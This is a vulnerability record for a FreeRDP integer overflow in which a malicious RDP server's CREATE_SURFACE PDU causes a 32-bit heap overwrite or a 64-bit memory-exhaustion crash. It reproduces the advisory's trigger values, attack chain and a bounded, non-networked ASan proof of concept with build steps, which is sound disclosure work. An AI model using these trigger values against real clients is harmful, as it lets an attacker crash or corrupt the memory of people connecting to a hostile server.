FreeRDP RDPGFX CREATE_SURFACE integer wrap causes 32-bit heap overwrite
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-f53w-3364-jr35. Fix status from GitHub. Impact type from CWE-122 and the CVSS impact.
Summary
FreeRDP through 3.32.1 is affected when a malicious RDP server sends a small RDPGFX CREATE_SURFACE PDU with width and height 32766. The client checks each dimension separately, and the resulting scanline-times-height allocation can wrap on 32-bit builds, leading to a heap-based buffer overflow (CWE-122) caused by an integer overflow (CWE-190). A remote attacker who controls a server the victim connects to can trigger the flaw, and on 64-bit builds the same PDU makes the client allocate and initialize approximately 4 GiB, causing a denial of service.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
## Summary A malicious RDP server can send a 15-byte RDPGFX `CREATE_SURFACE` PDU with width and height 32766. The receiver accepts each dimension because it checks only the per-dimension `MAX_SURFACE_SIZE` limit. `gdi_CreateSurface` rounds both dimensions to 32768, calculates a 131088-byte scanline and calls `winpr_aligned_calloc(scanline, height, 16)` without checking the product. In FreeRDP 3.32.1's non-Windows/MinGW fallback allocator on a 32-bit build, the product wraps from 4,295,491,584 to 524,288 bytes. The caller then initializes 32768 rows separately. The fourth row begins at offset 393264 and writes 131088 bytes, ending beyond the 524288-byte allocation; all later rows continue far outside the object. On a 64-bit build the product does not wrap, but one small server PDU requests and initializes approximately 4 GiB, creating a client denial-of-service condition. ## Details ### Affected versions - Confirmed by source comparison: stable `3.32.1` and current master `a8f1b46` contain the allocation and row-wise initialization combination. - `3.32.0` contains the same unbounded approximately-4-GiB allocation, but its single `memset` length wraps consistently on 32-bit; the immediate row-wise overwrite described here was not established for that tag. - Earlier versions need separate testing before they are included in the memory-corruption affected range. ### Preconditions - The victim uses a FreeRDP client with the RDPGFX dynamic virtual channel and software GDI decoding enabled. - The victim initiates a connection to a malicious or compromised RDP server. - For the heap overwrite, the client and the relevant WinPR fallback allocator use a 32-bit `size_t`. - The 64-bit availability impact applies to ordinary 64-bit builds, subject to operating-system allocation/commit policy. ### External input Decoded PDU fields: ```text RDPGFX_HEADER: cmdId = RDPGFX_CMDID_CREATESURFACE (0x0009) flags = 0 pduLength = 15 CREATE_SURFACE: surfaceId = 1 width = 32766 height = 32766 pixelFormat= GFX_PIXEL_FORMAT_XRGB_8888 (0x20) ``` The report intentionally omits a ready-to-send network server. The decoded body is sufficient for maintainers to construct a regression test in the existing RDPGFX test harness. ### Attack chain 1. `channels/drdynvc/client/drdynvc_main.c` accepts data for a running RDPGFX DVC and calls the plugin receive callback. 2. `channels/rdpgfx/client/rdpgfx_main.c:2244-2249` dispatches `RDPGFX_CMDID_CREATESURFACE`. 3. `rdpgfx_recv_create_surface_pdu` reads two attacker-controlled `UINT16` dimensions and permits values up to 32766 independently (`:1220-1238`). 4. The client callback is bound to `gdi_CreateSurface` in `libfreerdp/gdi/gfx.c:2089-2097`. 5. `gdi_CreateSurface` aligns both dimensions to 32768, calculates `scanline=131088`, and calls `winpr_aligned_calloc(scanline, height, 16)` (`:1314-1348`). 6. `winpr_aligned_offset_recalloc` calculates `size * num` without a checked multiplication (`winpr/libwinpr/crt/alignment.c:191-205`). 7. The row loop at `libfreerdp/gdi/gfx.c:1356-1357` trusts the unwrapped dimensions and writes each full scanline. ### Deterministic arithmetic ```text input width 32766 aligned width 32768 aligned height 32768 scanline 32768 * 4 + 16 = 131088 mathematical allocation 131088 * 32768 = 4295491584 32-bit allocation 4295491584 mod 2^32 = 524288 row 3 start (zero based) 393264 row 3 end 524352 allocated end 524288 first overflow 64 bytes at the end of row 3 ``` The included arithmetic verifier is non-networked and does not allocate 4 GiB. ### Bounded 32-bit ASan validation `poc/rdpgfx_32bit_allocator_asan.c` was compiled as a 32-bit executable together with the unmodified production `winpr/libwinpr/crt/alignment.c`. It called the real `winpr_aligned_calloc(131088, 32768, 16)` and executed only rows 0 through 3 of the production-equivalent initialization loop. Observed decisive output: ```text sizeof_size_t=4 scanline=131088 height=32768 allocated=524288 initializing_row=3 start=393264 end=524352 ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 131088 ... #2 winpr_aligned_offset_recalloc alignment.c:199 #4 winpr_aligned_calloc alignment.c:84 ``` ASan reported the write beginning at the end of the underlying allocation. The test is bounded: it never attempts the mathematical 4-GiB allocation and stops at the first overflowing row. The full log summary is retained in `evidence/validation-2026-10-01.txt`. ### Suggested remediation 1. Before allocation, calculate the full byte count using a checked multiplication helper and reject overflow. 2. Apply a local policy cap to both per-surface bytes and total RDPGFX surface memory; do not rely on the protocol's per-dimension maximum. 3. Keep allocation and initialization based on the same checked byte count. 4. Fix `winpr_aligned_offset_recalloc` itself to reject `num > SIZE_MAX / size` so other callers cannot repeat this class. Example invariant: ```c if ((height == 0) || (scanline > SIZE_MAX / height)) return ERROR_INVALID_DATA; bytes = scanline * height; if (bytes > context_surface_budget_remaining) return ERROR_NOT_ENOUGH_MEMORY; ``` ### Regression tests - `32766 x 32766` must be rejected without calling the allocator. - The largest accepted dimensions must produce a checked byte count below the configured cap. - Multiple individually valid surfaces must not exceed the session graphics-memory budget. - Run the test in a real 32-bit CI job, not only by casting values in a 64-bit process. ## Proof of concept The reproducer is self-contained in this field, bounded, and opens no network service. ### 1. Install dependencies, clone the exact source, configure, and build ````sh sudo apt-get update sudo apt-get install -y git build-essential gcc-multilib cmake ninja-build pkg-config libssl-dev zlib1g-dev git clone https://github.com/FreeRDP/FreeRDP.git cd FreeRDP git checkout a8f1b46b0486b79e986d69530685af144268a9d0 cmake -S . -B build -G Ninja \ -DCMAKE_BUILD_TYPE=Debug \ -DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_SDL=OFF \ -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_OPENH264=OFF \ -DWITH_OPUS=OFF -DWITH_JPEG=OFF -DWITH_GSM=OFF -DWITH_SOXR=OFF \ -DWITH_SERVER=OFF -DWITH_SHADOW=OFF -DWITH_SAMPLE=OFF -DWITH_PROXY=OFF \ -DWITH_MANPAGES=OFF -DBUILD_TESTING=OFF -DWITH_VERBOSE_WINPR_ASSERT=ON \ -DWITH_KRB5=OFF -DWITH_PCSC=OFF -DWITH_URIPARSER=OFF \ -DWITH_JSON_DISABLED=ON -DWITH_CUPS=OFF -DWITH_PULSE=OFF -DWITH_ALSA=OFF \ -DWITH_PKCS11=OFF -DWITH_FUSE=OFF -DWITH_UNICODE_BUILTIN=ON \ -DWITH_SYSTEMD=OFF -DWITH_LIBSYSTEMD=OFF -DWITH_AAD=OFF \ -DWITH_CLIENT_SDL=OFF -DWITH_CLIENT_X11=OFF \ -DCHANNEL_URBDRC=OFF -DCHANNEL_URBDRC_CLIENT=OFF cmake --build build --target winpr freerdp -j"$(nproc)" ```` ### 2. Save the inline source and runner, then execute ````sh mkdir -p /tmp/freerdp-poc # Save the two inline files below as: # /tmp/freerdp-poc/rdpgfx_32bit_allocator_asan.c # /tmp/freerdp-poc/run-asan32.sh chmod +x /tmp/freerdp-poc/run-asan32.sh FREERDP_SOURCE="$PWD" \ FREERDP_BUILD="$PWD/build" \ WORK="/tmp/freerdp-poc/build" \ sh "/tmp/freerdp-poc/run-asan32.sh" ```` ### 3. PoC source: `rdpgfx_32bit_allocator_asan.c` ````c /* * 32-bit ASan verifier for the reported issue. * * Link this file with the production winpr/libwinpr/crt/alignment.c on a * 32-bit toolchain. The loop intentionally executes only the first four * production-equivalent row initializations. It does not attempt a 4-GiB * allocation: the affected multiplication wraps inside the real allocator to * 524288 bytes, and ASan should report the 64-byte overflow at row index 3. */ #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <winpr/crt.h> #include <winpr/debug.h> #include <winpr/wlog.h> /* * alignment.c references logging only when an invalid aligned pointer is * supplied. This verifier never takes that branch, so small no-op stubs keep * the executable self-contained instead of linking an architecture-specific * full WinPR build. */ wLog* WLog_Get(LPCSTR name) { (void)name; return (wLog*)(uintptr_t)1u; } BOOL WLog_IsLevelActive(wLog* log, DWORD level) { (void)log; (void)level; return FALSE; } BOOL WLog_PrintTextMessage(wLog* log, DWORD level, size_t line, const char* file, const char* function, const char* fmt, ...) { (void)log; (void)level; (void)line; (void)file; (void)function; (void)fmt; return FALSE; } void winpr_log_backtrace_ex(wLog* log, DWORD level, DWORD size) { (void)log; (void)level; (void)size; } int main(void) { const size_t scanline = 131088u; const size_t height = 32768u; BYTE* data = (BYTE*)winpr_aligned_calloc(scanline, height, 16u); if (!data) { fprintf(stderr, "allocation failed before reproducing the wrap\n"); return 2; } const size_t allocated = winpr_aligned_msize(data, 16u, 0u); printf("sizeof_size_t=%zu scanline=%zu height=%zu allocated=%zu\n", sizeof(size_t), scanline, height, allocated); fflush(stdout); for (size_t y = 0; y < 4u; y++) { printf("initializing_row=%zu start=%zu end=%zu\n", y, scanline * y, scanline * y + scanline); fflush(stdout); memset(&data[scanline * y], 0xff, scanline); } /* Reaching this line means the expected sanitizer failure did not occur. */ winpr_aligned_free(data); return 3; } ```` ### 4. Runner: `run-asan32.sh` ````sh #!/bin/sh set -eu : "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP checkout}" : "${FREERDP_BUILD:?set FREERDP_BUILD to the configured FreeRDP build directory}" HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORK=${WORK:-"$HERE/.build32"} CC=${CC:-gcc} mkdir -p "$WORK" "$CC" -m32 -std=gnu11 -O1 -g -fsanitize=address -fno-omit-frame-pointer \ -ffunction-sections -fdata-sections \ -I"$FREERDP_SOURCE" \ -I"$FREERDP_SOURCE/winpr/include" \ -I"$FREERDP_BUILD/winpr/include" \ "$HERE/rdpgfx_32bit_allocator_asan.c" \ "$FREERDP_SOURCE/winpr/libwinpr/crt/alignment.c" \ -Wl,--gc-sections \ -o "$WORK/rdpgfx_32bit_allocator_asan" set +e ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 \ "$WORK/rdpgfx_32bit_allocator_asan" >"$WORK/rdpgfx_32bit_allocator_asan.txt" 2>&1 status=$? set -e cat "$WORK/rdpgfx_32bit_allocator_asan.txt" if [ "$status" -eq 0 ]; then echo "FAIL: the verifier unexpectedly returned success" >&2 exit 4 fi grep -q 'sizeof_size_t=4 .*allocated=524288' "$WORK/rdpgfx_32bit_allocator_asan.txt" grep -q 'initializing_row=3 start=393264 end=524352' "$WORK/rdpgfx_32bit_allocator_asan.txt" grep -q 'AddressSanitizer' "$WORK/rdpgfx_32bit_allocator_asan.txt" echo "PASS: production WinPR allocator wrapped and ASan detected the bounded row-3 overwrite" ```` ### 5. Observed output ````text Validation level: production allocator + bounded sink under 32-bit ASan Source commit: a8f1b46b0486b79e986d69530685af144268a9d0 Stable source comparison: 3.32.1 Decisive output: sizeof_size_t=4 scanline=131088 height=32768 allocated=524288 initializing_row=0 start=0 end=131088 initializing_row=1 start=131088 end=262176 initializing_row=2 start=262176 end=393264 initializing_row=3 start=393264 end=524352 ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 131088 Allocation stack: winpr_aligned_offset_malloc alignment.c:131 winpr_aligned_offset_recalloc alignment.c:199 winpr_aligned_recalloc alignment.c:94 winpr_aligned_calloc alignment.c:84 The verifier linked the production alignment.c directly and wrote only four rows. It did not attempt a mathematical 4-GiB allocation. A stock RDPGFX wire reproduction remains pending. ```` ## Impact The demonstrated scope is a 32-bit heap overwrite during surface initialization and the corresponding 64-bit approximately-4-GiB availability condition. The reproduced overwrite bytes are the initializer's repeated 0xFF value. ## AI assistance disclosure Yes. AI-assisted source review and drafting were used. Every runtime output quoted below was reproduced locally against commit a8f1b46b0486b79e986d69530685af144268a9d0, and affected-version statements are limited to directly inspected releases.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-f53w-3364-jr35 |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-f53w-3364-jr35
Remediation
Upgrade FreeRDP to version 3.32.2, which fixes the issue. The sources list no fixed version for earlier releases.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-f53w-3364-jr35 FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-f53w-3364-jr35
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences